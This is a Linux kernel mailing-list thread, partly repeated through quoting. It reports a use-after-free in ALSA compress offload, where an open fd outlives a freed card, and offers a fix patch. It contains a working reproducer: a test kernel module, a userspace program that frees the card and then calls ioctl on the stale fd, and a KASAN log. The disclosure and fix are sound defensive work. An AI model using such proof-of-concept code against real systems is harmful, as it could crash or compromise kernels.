static int c_open(struct snd_compr_stream *stream) { return 0; } static int c_free(struct snd_compr_stream *stream) { return 0; } static int c_trigger(struct snd_compr_stream *stream, int cmd) { return 0; }

static struct snd_compr_ops compr_ops = {
	.open = c_open,
	.free = c_free,
	.trigger = c_trigger,
};

static int free_set(const char *val, const struct kernel_param *kp)

{
	if (card) {
		pr_info("free: calling snd_card_free(%p)\n", card);
		snd_card_free(card);
		card = NULL;
	}
	return 0;
}

static const struct kernel_param_ops free_ops = { .set = free_set }; module_param_cb(free, &free_ops, NULL, 0200);

static void card_private_free(struct snd_card *c)

{
	pr_info("card private_free: kfree(compr=%p)\n", compr);
	kfree(compr);
	compr = NULL;
}

static int __init sndcore_compress_init(void)

{
	int err;

	err = sndcore_card_new(&card, "sndcore_compress");
	if (err < 0)
		return err;

	compr = kzalloc(sizeof(*compr), GFP_KERNEL);
	if (!compr) {
		snd_card_free(card);
		card = NULL;
		sndcore_parent_put();
		return -ENOMEM;
	}
	compr->ops = &compr_ops;
	card->private_free = card_private_free;

	err = snd_compress_new(card, 0, SND_COMPRESS_PLAYBACK, "sndcore", compr);
	if (err < 0) {
		kfree(compr);
		compr = NULL;
		snd_card_free(card);
		card = NULL;
		sndcore_parent_put();
		return err;
	}
	err = snd_card_register(card);
	if (err < 0) {
		snd_card_free(card);
		card = NULL;
		sndcore_parent_put();
		return err;
	}
	pr_info("compress card registered\n");
	return 0;
}

static void __exit sndcore_compress_exit(void)

{
	if (card) {
		snd_card_free(card);
		card = NULL;
	}
	sndcore_parent_put();
}
Quoted 4 lines

module_init(sndcore_compress_init); module_exit(sndcore_compress_exit); MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("sound/core MR-03 compress open_list verifier");

Thanks for the report.

But, as I already requested in your previous reports, could you rather submit a fix patch along with the report? I suppose you're working with AI, so it's just a matter of asking it to the model.

Takashi

author
#96 lore raw

[PATCH] Re: Re: sound: core: compress offload fd does not pin card or module, so card removal leaves a live fd pointing at freed snd_compr (KASAN UAF)

snd_compr_open() dropped the lookup reference before returning and took neither a card reference nor a module reference, and kept no per-fd node: the card could be unbound and freed while a compress fd was still open, and the next ioctl/read/write/poll/close dereferenced freed struct snd_compr and snd_soc_pcm_runtime objects (KASAN slab-use-after-free in snd_compr_ioctl()).

Restore the open-file lifetime: snd_card_file_add() (which also puts the fd on card->files_list so snd_card_disconnect_sync() waits for it) plus try_module_get() at open; a data->list node linked into compr->open_list under compr->lock; list_del_init() + module_put() + snd_card_file_remove() at free; and a dev_disconnect callback that walks open_list, stops RUNNING/DRAINING/PAUSED streams, sets SNDRV_PCM_STATE_DISCONNECTED and wakes the poll/read waiters.

---
 sound/core/compress_offload.c   | 67 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 include/sound/compress_driver.h |  3 +++
 2 files changed, 70 insertions(+)
sound/core/compress_offload.c +67 -0
@@ -44,6 +44,10 @@
 struct snd_compr_file {
 	unsigned long caps;
 	struct snd_compr_stream stream;
+	/* open lifetime: linked into compr->open_list so the card
+	 * disconnect callback can find and stop this stream, and so the
+	 * fd pins the card and the module while it is open */
+	struct list_head list;
 };
 
 static void error_delayed_work(struct work_struct *work);
@@ -137,7 +141,38 @@
 	if (ret) {
 		kfree(runtime);
 		kfree(data);
+		snd_card_unref(compr->card);
+		return ret;
 	}
+
+	/* Open lifetime: pin the card against removal (snd_card_file_add
+	 * also links the file into card->files_list, so the card teardown
+	 * waits for this fd) and pin the module, and make the fd visible
+	 * to the disconnect callback via compr->open_list.  Without this
+	 * the card could be unbound and freed while the fd stays open,
+	 * leaving ioctl/read/write/poll/close to dereference freed
+	 * snd_compr / snd_soc_pcm_runtime objects. */
+	INIT_LIST_HEAD(&data->list);
+	ret = snd_card_file_add(compr->card, f);
+	if (ret)
+		goto err_card_file;
+	if (!try_module_get(compr->card->module)) {
+		ret = -ENODEV;
+		goto err_module;
+	}
+	scoped_guard(mutex, &compr->lock)
+		list_add_tail(&data->list, &compr->open_list);
+
+	snd_card_unref(compr->card);
+	return ret;
+
+ err_module:
+	snd_card_file_remove(compr->card, f);
+ err_card_file:
+	scoped_guard(mutex, &compr->lock)
+		data->stream.ops->free(&data->stream);
+	kfree(runtime);
+	kfree(data);
 	snd_card_unref(compr->card);
 	return ret;
 }
@@ -145,10 +180,16 @@
 static int snd_compr_free(struct inode *inode, struct file *f)
 {
 	struct snd_compr_file *data = f->private_data;
+	struct snd_compr *compr = data->stream.device;
 	struct snd_compr_runtime *runtime = data->stream.runtime;
 
 	cancel_delayed_work_sync(&data->stream.error_work);
 
+	/* unlink from the open list first, so the disconnect callback
+	 * cannot walk this stream while it is being freed */
+	scoped_guard(mutex, &compr->lock)
+		list_del_init(&data->list);
+
 	switch (runtime->state) {
 	case SNDRV_PCM_STATE_RUNNING:
 	case SNDRV_PCM_STATE_DRAINING:
@@ -166,6 +207,11 @@
 		kfree(data->stream.runtime->buffer);
 	kfree(data->stream.runtime);
 	kfree(data);
+
+	/* drop the references taken at open; the file object is released
+	 * by the caller afterwards, so this is the last possible point */
+	module_put(compr->card->module);
+	snd_card_file_remove(compr->card, f);
 	return 0;
 }
 
@@ -1432,8 +1478,28 @@
 static int snd_compress_dev_disconnect(struct snd_device *device)
 {
 	struct snd_compr *compr;
+	struct snd_compr_file *compr_file;
+	struct snd_compr_stream *stream;
 
 	compr = device->device_data;
+
+	/* stop the streams of still-open fds: the card core disconnect no
+	 * longer waits only for the files_list (which our fds are on via
+	 * snd_card_file_add()), but the streams must also be told that the
+	 * device went away, or a blocked read/poll would never wake up */
+	scoped_guard(mutex, &compr->lock) {
+		list_for_each_entry(compr_file, &compr->open_list, list) {
+			stream = &compr_file->stream;
+			if (stream->runtime->state != SNDRV_PCM_STATE_RUNNING &&
+			    stream->runtime->state != SNDRV_PCM_STATE_DRAINING &&
+			    stream->runtime->state != SNDRV_PCM_STATE_PAUSED)
+				continue;
+			compr->ops->trigger(stream, SNDRV_PCM_TRIGGER_STOP);
+			stream->runtime->state = SNDRV_PCM_STATE_DISCONNECTED;
+			wake_up(&stream->runtime->sleep);
+		}
+	}
+
 	snd_unregister_device(compr->dev);
 	return 0;
 }
@@ -1541,6 +1607,7 @@
 	compr->device = device;
 	compr->direction = dirn;
 	mutex_init(&compr->lock);
+	INIT_LIST_HEAD(&compr->open_list);
 
 	snd_compress_set_id(compr, id);
 
include/sound/compress_driver.h +3 -0
@@ -188,6 +188,8 @@
  * @card: sound card pointer
  * @direction: Playback or capture direction
  * @lock: device lock
+ * @open_list: list of open fds, protected by @lock; the disconnect
+ *	callback walks it to stop the streams of files that are still open
  * @device: device id
  * @use_pause_in_draining: allow pause in draining, true when set
  */
@@ -199,6 +201,7 @@
 	struct snd_card *card;
 	unsigned int direction;
 	struct mutex lock;
+	struct list_head open_list;	/* list of open fds (snd_compr_file.list) */
 	int device;
 	bool use_pause_in_draining;
 #ifdef CONFIG_SND_VERBOSE_PROCFS
Quoted 413 lines

-----原始邮件-----
发件人: "Takashi Iwai" <[email protected]>
发送时间:2026-11-22 16:07:00 (星期日)
收件人: 徐晗翔 <[email protected]>
抄送: [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected] 主题: Re: sound: core: compress offload fd does not pin card or module, so card removal leaves a live fd pointing at freed snd_compr (KASAN UAF)

Quoted 391 lines · 徐晗翔

snd_compr_open() opens /dev/snd/comprC*D* without adding the file to card->files_list, without taking a persistent card device reference and without taking a module reference; it even drops the lookup reference with snd_card_unref() before returning. The ASoC card can therefore be unbound and freed while the compress fd is still open, after which ioctl/read/write/poll/close dereference freed struct snd_compr and snd_soc_pcm_runtime objects. I reproduced this on a Linux 7.3 KASAN kernel with a small test module: open the compress device, call snd_card_free(), then issue ioctl() on the stale fd; the ioctl entry already reports slab-use-after-free in mutex_lock(&stream->device->lock) inside snd_compr_ioctl().

This is not a theoretical lost-reference issue. The upstream compress offload code has an explicit open-file lifetime: snd_card_file_add() plus try_module_get() at open, a data->list node linked into compr->open_list, list_del_init() + module_put() + snd_card_file_remove() at free, and a dev_disconnect callback that walks open_list, stops RUNNING/DRAINING/ PAUSED streams, sets SNDRV_PCM_STATE_DISCONNECTED and wakes waiters. The current tree removed all of it at the structure level: struct snd_compr_file no longer has a list node and struct snd_compr no longer has open_list. Consequently snd_card_disconnect_sync(), which waits for card->files_list to drain, returns immediately with the compress fd still open, and the subsequent snd_soc_remove_pcm_runtime() / snd_card_free() frees the objects the fd still points to.

The detailed description:

* Test environment / affected version

Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #6 SMP PREEMPT_DYNAMIC, vanilla 7.3 source tree with KASAN and QEMU/KVM x86_64 (4 vCPU, 4 GB). The only build-time changes were temporary Kconfig prompts to build snd-compress.ko and snd-rawmidi.ko as modules; no functional source change was made for this case. The exact version line is in evidence/kernel-version.txt.

* Root cause and object lifetime

The open path, sound/core/compress_offload.c:75-143, does only:

    compr = snd_lookup_minor_data(iminor(inode), SNDRV_DEVICE_TYPE_COMPRESS);
    ...
    data = kzalloc_obj(*data);
    runtime = kzalloc_obj(*runtime);
    data->stream.device = compr;
    f->private_data = data;
    scoped_guard(mutex, &compr->lock)
        ret = compr->ops->open(&data->stream);
    snd_card_unref(compr->card);

There is no snd_card_file_add(compr->card, f), no try_module_get(compr->card->module), and no list_add_tail() into an open list. The structure definitions were changed too:
sound/core/compress_offload.c:44-49 has

    struct snd_compr_file {
        unsigned long caps;
        struct snd_compr_stream stream;
    };

while include/sound/compress_driver.h:194-210 has no open_list member in struct snd_compr.

The free path, sound/core/compress_offload.c:145-170, calls cancel_delayed_work_sync(), optionally trigger(STOP), task-free, ops->free() and kfree() -- but no list_del_init(), no module_put() and no snd_card_file_remove().

The disconnect callback, sound/core/compress_offload.c:1432-1447, is only:

    compr = device->device_data;
    snd_unregister_device(compr->dev);
    return 0;

It does not walk open streams, does not stop them, does not set SNDRV_PCM_STATE_DISCONNECTED and does not wake poll/read waiters.

Upstream by contrast has all of these: snd_card_file_add() and try_module_get() in snd_compr_open(), data->list linked into compr->open_list, matching list_del_init()/module_put()/ snd_card_file_remove() in snd_compr_free(), and a dev_disconnect that takes compr->lock, stops active streams and sets DISCONNECTED.

* Why card removal reaches the freed objects

The ASoC cleanup order is in sound/soc/soc-core.c:1944-1981:
soc_cleanup_card_resources() calls snd_card_disconnect_sync() first, then for_each_card_rtds_safe() -> snd_soc_remove_pcm_runtime(), then snd_soc_card_remove(), then snd_card_free(). snd_card_disconnect_sync() (sound/core/init.c:571-582) waits under files_lock for files_list to become empty. A compress fd is not in files_list, so this wait is a no-op for it. snd_soc_remove_pcm_runtime() then releases rtd via device_unregister(rtd->dev), while the fd still has data->stream.device = compr and data->stream.private_data = rtd. snd_compr_ioctl(), snd_compr_read(), snd_compr_write() and snd_compr_poll() all begin with guard(mutex)(&stream->device->lock), i.e. they lock a mutex inside freed struct snd_compr before looking at stream->runtime.

* Trigger model

- A compress offload device must exist (real ASoC compress driver, or

    the attached test module);
  - a user with access to /dev/snd/comprC*D* opens it;
  - the card is removed/unbound (driver unbind, card unregister, module
    unload, or the test module's free parameter);

- the same fd is used again (ioctl/read/write/poll) or closed.

The card-removal step normally needs a privileged action, but the fd and the removal can belong to different processes and the kernel must not free objects that an open file still references. No hardware is required for the reproducer.

* Reproducer (attached: sndcore_compress.c, sndcore_test.c) and results on 7.3

sndcore_compress.c registers one card with one compress device and a minimal struct snd_compr_ops; the card private_free function kfree()s the struct snd_compr, matching ASoC's devm_kzalloc lifetime. The userspace program sndcore_test.c opens /dev/snd/comprC0D0, writes the module's "free" parameter to call snd_card_free(), then calls ioctl() on the stale fd.

Observed (evidence/mr03-kasan-uaf.log):

    free: calling snd_card_free(...)
    BUG: KASAN: slab-use-after-free in mutex_lock+0x72/0xe0
    Write of size 8 at addr ... by task sndcore_test/88
    Call Trace:
     mutex_lock+0x72/0xe0
     snd_compr_ioctl+0xd2/0xff0 [snd_compress]
     ...
    BUG: KASAN: slab-use-after-free in mutex_unlock+0x6c/0xd0
     snd_compr_ioctl+0x1d3/0xff0 [snd_compress]
    KASAN bug count: 2

The bug count is the number of KASAN reports collected in that run; the first report is the mutex_lock() inside the ioctl entry.

* Suggested direction

Restore the upstream lifetime in one series:
- snd_compr_open(): snd_card_file_add(), try_module_get(), link

    data->list into compr->open_list;
  - snd_compr_free(): list_del_init(), module_put() and
    snd_card_file_remove(), with the error paths undoing in reverse;
  - snd_compress_dev_disconnect(): walk compr->open_list under
    compr->lock, STOP RUNNING/DRAINING/PAUSED streams, set
    SNDRV_PCM_STATE_DISCONNECTED and wake waiters;

- restore struct snd_compr_file.list and struct snd_compr.open_list.

Please keep me in Cc; I am not subscribed to the lists.

Regards,
Hanxiang Xu
[email protected]
// SPDX-License-Identifier: GPL-2.0
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sound/asound.h>

static int write_free(const char *mod)

{
	char path[256];
	int fd;

	snprintf(path, sizeof(path), "/sys/module/%s/parameters/free", mod);
	fd = open(path, O_WRONLY);
	if (fd < 0) {
		fprintf(stderr, "open %s: %s\n", path, strerror(errno));
		return -1;
	}
	if (write(fd, "1\n", 2) != 2)
		fprintf(stderr, "write %s: %s\n", path, strerror(errno));
	close(fd);
	return 0;
}

static int do_hwdep(void)

{
	struct snd_hwdep_dsp_image img;
	int fd;

	fd = open("/dev/snd/hwC0D0", O_RDWR);
	if (fd < 0) {
		fprintf(stderr, "open hwdep: %s\n", strerror(errno));
		return 1;
	}
	memset(&img, 0, sizeof(img));
	img.index = 0;
	img.length = 0;
	img.image = 0;
	for (int i = 0; i < 4; i++) {
		if (ioctl(fd, SNDRV_HWDEP_IOCTL_DSP_LOAD, &img) < 0)
			fprintf(stderr, "ioctl dsp_load: %s\n", strerror(errno));
	}
	close(fd);
	printf("HWDEP: ioctl done (max_active should be >= 2)\n");
	sleep(1);
	return 0;
}

static void *hwdep_thread(void *arg)

{
	int fd = *(int *)arg;
	struct snd_hwdep_dsp_image img;

	memset(&img, 0, sizeof(img));
	img.index = 0;
	ioctl(fd, SNDRV_HWDEP_IOCTL_DSP_LOAD, &img);
	return NULL;
}

static int do_hwdep_race(void)

{
	pthread_t th[4];
	int fd;

	fd = open("/dev/snd/hwC0D0", O_RDWR);
	if (fd < 0) {
		fprintf(stderr, "open hwdep: %s\n", strerror(errno));
		return 1;
	}
	for (int i = 0; i < 4; i++)
		pthread_create(&th[i], NULL, hwdep_thread, &fd);
	for (int i = 0; i < 4; i++)
		pthread_join(th[i], NULL);
	close(fd);
	printf("HWDEP: 4 concurrent DSP_LOAD issued\n");
	sleep(1);
	return 0;
}

static int do_compress(void)

{
	int fd;

	fd = open("/dev/snd/comprC0D0", O_WRONLY);
	if (fd < 0) {
		fprintf(stderr, "open compress: %s\n", strerror(errno));
		return 1;
	}
	printf("COMPRESS: fd open, freeing card\n");
	write_free("sndcore_compress");
	printf("COMPRESS: card free returned, issuing ioctl on stale fd\n");
	if (ioctl(fd, 0x4300, 0) < 0)
		fprintf(stderr, "ioctl stale fd: %s\n", strerror(errno));
	printf("COMPRESS: ioctl returned without KASAN report\n");
	close(fd);
	sleep(1);
	return 0;
}

static int do_rawmidi(void)

{
	int fd;

	fd = open("/dev/snd/midiC0D0", O_RDONLY);
	if (fd < 0) {
		fprintf(stderr, "open rawmidi: %s\n", strerror(errno));
		return 1;
	}
	printf("RAWMIDI: fd open, letting flood thread run\n");
	sleep(2);
	printf("RAWMIDI: closing (trigger/cancel/free window)\n");
	close(fd);
	sleep(3);
	printf("RAWMIDI: close returned, freeing card\n");
	write_free("sndcore_rawmidi");
	sleep(1);
	return 0;
}

int main(int argc, char **argv)

{
	if (argc < 2) {
		fprintf(stderr, "usage: %s jackfree|compress|rawmidi|hwdep|hwdep-race\n", argv[0]);
		return 2;
	}
	if (!strcmp(argv[1], "jackfree"))
		return write_free("sndcore_jack");
	if (!strcmp(argv[1], "compress"))
		return do_compress();
	if (!strcmp(argv[1], "rawmidi"))
		return do_rawmidi();
	if (!strcmp(argv[1], "hwdep"))
		return do_hwdep();
	if (!strcmp(argv[1], "hwdep-race"))
		return do_hwdep_race();
	fprintf(stderr, "unknown mode %s\n", argv[1]);
	return 2;
}

// SPDX-License-Identifier: GPL-2.0
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/slab.h>
#include <sound/core.h>
#include <sound/compress_driver.h>
#include "sndcore_parent.h"

static struct snd_card *card;
static struct snd_compr *compr;

static int c_open(struct snd_compr_stream *stream) { return 0; } static int c_free(struct snd_compr_stream *stream) { return 0; } static int c_trigger(struct snd_compr_stream *stream, int cmd) { return 0; }

static struct snd_compr_ops compr_ops = {
	.open = c_open,
	.free = c_free,
	.trigger = c_trigger,
};

static int free_set(const char *val, const struct kernel_param *kp)

{
	if (card) {
		pr_info("free: calling snd_card_free(%p)\n", card);
		snd_card_free(card);
		card = NULL;
	}
	return 0;
}

static const struct kernel_param_ops free_ops = { .set = free_set }; module_param_cb(free, &free_ops, NULL, 0200);

static void card_private_free(struct snd_card *c)

{
	pr_info("card private_free: kfree(compr=%p)\n", compr);
	kfree(compr);
	compr = NULL;
}

static int __init sndcore_compress_init(void)

{
	int err;

	err = sndcore_card_new(&card, "sndcore_compress");
	if (err < 0)
		return err;

	compr = kzalloc(sizeof(*compr), GFP_KERNEL);
	if (!compr) {
		snd_card_free(card);
		card = NULL;
		sndcore_parent_put();
		return -ENOMEM;
	}
	compr->ops = &compr_ops;
	card->private_free = card_private_free;

	err = snd_compress_new(card, 0, SND_COMPRESS_PLAYBACK, "sndcore", compr);
	if (err < 0) {
		kfree(compr);
		compr = NULL;
		snd_card_free(card);
		card = NULL;
		sndcore_parent_put();
		return err;
	}
	err = snd_card_register(card);
	if (err < 0) {
		snd_card_free(card);
		card = NULL;
		sndcore_parent_put();
		return err;
	}
	pr_info("compress card registered\n");
	return 0;
}

static void __exit sndcore_compress_exit(void)

{
	if (card) {
		snd_card_free(card);
		card = NULL;
	}
	sndcore_parent_put();
}
Quoted 4 lines

module_init(sndcore_compress_init); module_exit(sndcore_compress_exit); MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("sound/core MR-03 compress open_list verifier");

Thanks for the report.

But, as I already requested in your previous reports, could you rather submit a fix patch along with the report? I suppose you're working with AI, so it's just a matter of asking it to the model.

Takashi

#97 lore raw

Re: [PATCH] Re: Re: sound: core: compress offload fd does not pin card or module, so card removal leaves a live fd pointing at freed snd_compr (KASAN UAF)

Quoted 8 lines · 徐晗翔

snd_compr_open() dropped the lookup reference before returning and took neither a card reference nor a module reference, and kept no per-fd node: the card could be unbound and freed while a compress fd was still open, and the next ioctl/read/write/poll/close dereferenced freed struct snd_compr and snd_soc_pcm_runtime objects (KASAN slab-use-after-free in snd_compr_ioctl()).

Quoted 7 lines

Restore the open-file lifetime: snd_card_file_add() (which also puts the fd on card->files_list so snd_card_disconnect_sync() waits for it) plus try_module_get() at open; a data->list node linked into compr->open_list under compr->lock; list_del_init() + module_put() + snd_card_file_remove() at free; and a dev_disconnect callback that walks open_list, stops RUNNING/DRAINING/PAUSED streams, sets SNDRV_PCM_STATE_DISCONNECTED and wakes the poll/read waiters.

This should have been already addressed in the latest upstream. Please verify again with the latest upstream code.

thanks,

Takashi

Quoted 559 lines
---
 sound/core/compress_offload.c   | 67 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 include/sound/compress_driver.h |  3 +++
 2 files changed, 70 insertions(+)
sound/core/compress_offload.c +67 -0
@@ -44,6 +44,10 @@
 struct snd_compr_file {
 	unsigned long caps;
 	struct snd_compr_stream stream;
+	/* open lifetime: linked into compr->open_list so the card
+	 * disconnect callback can find and stop this stream, and so the
+	 * fd pins the card and the module while it is open */
+	struct list_head list;
 };
 
 static void error_delayed_work(struct work_struct *work);
@@ -137,7 +141,38 @@
 	if (ret) {
 		kfree(runtime);
 		kfree(data);
+		snd_card_unref(compr->card);
+		return ret;
 	}
+
+	/* Open lifetime: pin the card against removal (snd_card_file_add
+	 * also links the file into card->files_list, so the card teardown
+	 * waits for this fd) and pin the module, and make the fd visible
+	 * to the disconnect callback via compr->open_list.  Without this
+	 * the card could be unbound and freed while the fd stays open,
+	 * leaving ioctl/read/write/poll/close to dereference freed
+	 * snd_compr / snd_soc_pcm_runtime objects. */
+	INIT_LIST_HEAD(&data->list);
+	ret = snd_card_file_add(compr->card, f);
+	if (ret)
+		goto err_card_file;
+	if (!try_module_get(compr->card->module)) {
+		ret = -ENODEV;
+		goto err_module;
+	}
+	scoped_guard(mutex, &compr->lock)
+		list_add_tail(&data->list, &compr->open_list);
+
+	snd_card_unref(compr->card);
+	return ret;
+
+ err_module:
+	snd_card_file_remove(compr->card, f);
+ err_card_file:
+	scoped_guard(mutex, &compr->lock)
+		data->stream.ops->free(&data->stream);
+	kfree(runtime);
+	kfree(data);
 	snd_card_unref(compr->card);
 	return ret;
 }
@@ -145,10 +180,16 @@
 static int snd_compr_free(struct inode *inode, struct file *f)
 {
 	struct snd_compr_file *data = f->private_data;
+	struct snd_compr *compr = data->stream.device;
 	struct snd_compr_runtime *runtime = data->stream.runtime;
 
 	cancel_delayed_work_sync(&data->stream.error_work);
 
+	/* unlink from the open list first, so the disconnect callback
+	 * cannot walk this stream while it is being freed */
+	scoped_guard(mutex, &compr->lock)
+		list_del_init(&data->list);
+
 	switch (runtime->state) {
 	case SNDRV_PCM_STATE_RUNNING:
 	case SNDRV_PCM_STATE_DRAINING:
@@ -166,6 +207,11 @@
 		kfree(data->stream.runtime->buffer);
 	kfree(data->stream.runtime);
 	kfree(data);
+
+	/* drop the references taken at open; the file object is released
+	 * by the caller afterwards, so this is the last possible point */
+	module_put(compr->card->module);
+	snd_card_file_remove(compr->card, f);
 	return 0;
 }
 
@@ -1432,8 +1478,28 @@
 static int snd_compress_dev_disconnect(struct snd_device *device)
 {
 	struct snd_compr *compr;
+	struct snd_compr_file *compr_file;
+	struct snd_compr_stream *stream;
 
 	compr = device->device_data;
+
+	/* stop the streams of still-open fds: the card core disconnect no
+	 * longer waits only for the files_list (which our fds are on via
+	 * snd_card_file_add()), but the streams must also be told that the
+	 * device went away, or a blocked read/poll would never wake up */
+	scoped_guard(mutex, &compr->lock) {
+		list_for_each_entry(compr_file, &compr->open_list, list) {
+			stream = &compr_file->stream;
+			if (stream->runtime->state != SNDRV_PCM_STATE_RUNNING &&
+			    stream->runtime->state != SNDRV_PCM_STATE_DRAINING &&
+			    stream->runtime->state != SNDRV_PCM_STATE_PAUSED)
+				continue;
+			compr->ops->trigger(stream, SNDRV_PCM_TRIGGER_STOP);
+			stream->runtime->state = SNDRV_PCM_STATE_DISCONNECTED;
+			wake_up(&stream->runtime->sleep);
+		}
+	}
+
 	snd_unregister_device(compr->dev);
 	return 0;
 }
@@ -1541,6 +1607,7 @@
 	compr->device = device;
 	compr->direction = dirn;
 	mutex_init(&compr->lock);
+	INIT_LIST_HEAD(&compr->open_list);
 
 	snd_compress_set_id(compr, id);
 
include/sound/compress_driver.h +3 -0
@@ -188,6 +188,8 @@
  * @card: sound card pointer
  * @direction: Playback or capture direction
  * @lock: device lock
+ * @open_list: list of open fds, protected by @lock; the disconnect
+ *	callback walks it to stop the streams of files that are still open
  * @device: device id
  * @use_pause_in_draining: allow pause in draining, true when set
  */
@@ -199,6 +201,7 @@
 	struct snd_card *card;
 	unsigned int direction;
 	struct mutex lock;
+	struct list_head open_list;	/* list of open fds (snd_compr_file.list) */
 	int device;
 	bool use_pause_in_draining;
 #ifdef CONFIG_SND_VERBOSE_PROCFS
Quoted 415 lines

-----原始邮件-----
发件人: "Takashi Iwai" <[email protected]>
发送时间:2026-11-22 16:07:00 (星期日)
收件人: 徐晗翔 <[email protected]>
抄送: [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected] 主题: Re: sound: core: compress offload fd does not pin card or module, so card removal leaves a live fd pointing at freed snd_compr (KASAN UAF)

Quoted 391 lines · 徐晗翔

snd_compr_open() opens /dev/snd/comprC*D* without adding the file to card->files_list, without taking a persistent card device reference and without taking a module reference; it even drops the lookup reference with snd_card_unref() before returning. The ASoC card can therefore be unbound and freed while the compress fd is still open, after which ioctl/read/write/poll/close dereference freed struct snd_compr and snd_soc_pcm_runtime objects. I reproduced this on a Linux 7.3 KASAN kernel with a small test module: open the compress device, call snd_card_free(), then issue ioctl() on the stale fd; the ioctl entry already reports slab-use-after-free in mutex_lock(&stream->device->lock) inside snd_compr_ioctl().

This is not a theoretical lost-reference issue. The upstream compress offload code has an explicit open-file lifetime: snd_card_file_add() plus try_module_get() at open, a data->list node linked into compr->open_list, list_del_init() + module_put() + snd_card_file_remove() at free, and a dev_disconnect callback that walks open_list, stops RUNNING/DRAINING/ PAUSED streams, sets SNDRV_PCM_STATE_DISCONNECTED and wakes waiters. The current tree removed all of it at the structure level: struct snd_compr_file no longer has a list node and struct snd_compr no longer has open_list. Consequently snd_card_disconnect_sync(), which waits for card->files_list to drain, returns immediately with the compress fd still open, and the subsequent snd_soc_remove_pcm_runtime() / snd_card_free() frees the objects the fd still points to.

The detailed description:

* Test environment / affected version

Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #6 SMP PREEMPT_DYNAMIC, vanilla 7.3 source tree with KASAN and QEMU/KVM x86_64 (4 vCPU, 4 GB). The only build-time changes were temporary Kconfig prompts to build snd-compress.ko and snd-rawmidi.ko as modules; no functional source change was made for this case. The exact version line is in evidence/kernel-version.txt.

* Root cause and object lifetime

The open path, sound/core/compress_offload.c:75-143, does only:

    compr = snd_lookup_minor_data(iminor(inode), SNDRV_DEVICE_TYPE_COMPRESS);
    ...
    data = kzalloc_obj(*data);
    runtime = kzalloc_obj(*runtime);
    data->stream.device = compr;
    f->private_data = data;
    scoped_guard(mutex, &compr->lock)
        ret = compr->ops->open(&data->stream);
    snd_card_unref(compr->card);

There is no snd_card_file_add(compr->card, f), no try_module_get(compr->card->module), and no list_add_tail() into an open list. The structure definitions were changed too:
sound/core/compress_offload.c:44-49 has

    struct snd_compr_file {
        unsigned long caps;
        struct snd_compr_stream stream;
    };

while include/sound/compress_driver.h:194-210 has no open_list member in struct snd_compr.

The free path, sound/core/compress_offload.c:145-170, calls cancel_delayed_work_sync(), optionally trigger(STOP), task-free, ops->free() and kfree() -- but no list_del_init(), no module_put() and no snd_card_file_remove().

The disconnect callback, sound/core/compress_offload.c:1432-1447, is only:

    compr = device->device_data;
    snd_unregister_device(compr->dev);
    return 0;

It does not walk open streams, does not stop them, does not set SNDRV_PCM_STATE_DISCONNECTED and does not wake poll/read waiters.

Upstream by contrast has all of these: snd_card_file_add() and try_module_get() in snd_compr_open(), data->list linked into compr->open_list, matching list_del_init()/module_put()/ snd_card_file_remove() in snd_compr_free(), and a dev_disconnect that takes compr->lock, stops active streams and sets DISCONNECTED.

* Why card removal reaches the freed objects

The ASoC cleanup order is in sound/soc/soc-core.c:1944-1981:
soc_cleanup_card_resources() calls snd_card_disconnect_sync() first, then for_each_card_rtds_safe() -> snd_soc_remove_pcm_runtime(), then snd_soc_card_remove(), then snd_card_free(). snd_card_disconnect_sync() (sound/core/init.c:571-582) waits under files_lock for files_list to become empty. A compress fd is not in files_list, so this wait is a no-op for it. snd_soc_remove_pcm_runtime() then releases rtd via device_unregister(rtd->dev), while the fd still has data->stream.device = compr and data->stream.private_data = rtd. snd_compr_ioctl(), snd_compr_read(), snd_compr_write() and snd_compr_poll() all begin with guard(mutex)(&stream->device->lock), i.e. they lock a mutex inside freed struct snd_compr before looking at stream->runtime.

* Trigger model

- A compress offload device must exist (real ASoC compress driver, or

    the attached test module);
  - a user with access to /dev/snd/comprC*D* opens it;
  - the card is removed/unbound (driver unbind, card unregister, module
    unload, or the test module's free parameter);

- the same fd is used again (ioctl/read/write/poll) or closed.

The card-removal step normally needs a privileged action, but the fd and the removal can belong to different processes and the kernel must not free objects that an open file still references. No hardware is required for the reproducer.

* Reproducer (attached: sndcore_compress.c, sndcore_test.c) and results on 7.3

sndcore_compress.c registers one card with one compress device and a minimal struct snd_compr_ops; the card private_free function kfree()s the struct snd_compr, matching ASoC's devm_kzalloc lifetime. The userspace program sndcore_test.c opens /dev/snd/comprC0D0, writes the module's "free" parameter to call snd_card_free(), then calls ioctl() on the stale fd.

Observed (evidence/mr03-kasan-uaf.log):

    free: calling snd_card_free(...)
    BUG: KASAN: slab-use-after-free in mutex_lock+0x72/0xe0
    Write of size 8 at addr ... by task sndcore_test/88
    Call Trace:
     mutex_lock+0x72/0xe0
     snd_compr_ioctl+0xd2/0xff0 [snd_compress]
     ...
    BUG: KASAN: slab-use-after-free in mutex_unlock+0x6c/0xd0
     snd_compr_ioctl+0x1d3/0xff0 [snd_compress]
    KASAN bug count: 2

The bug count is the number of KASAN reports collected in that run; the first report is the mutex_lock() inside the ioctl entry.

* Suggested direction

Restore the upstream lifetime in one series:
- snd_compr_open(): snd_card_file_add(), try_module_get(), link

    data->list into compr->open_list;
  - snd_compr_free(): list_del_init(), module_put() and
    snd_card_file_remove(), with the error paths undoing in reverse;
  - snd_compress_dev_disconnect(): walk compr->open_list under
    compr->lock, STOP RUNNING/DRAINING/PAUSED streams, set
    SNDRV_PCM_STATE_DISCONNECTED and wake waiters;

- restore struct snd_compr_file.list and struct snd_compr.open_list.

Please keep me in Cc; I am not subscribed to the lists.

Regards,
Hanxiang Xu
[email protected]
// SPDX-License-Identifier: GPL-2.0
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>
#include <sys/ioctl.h>
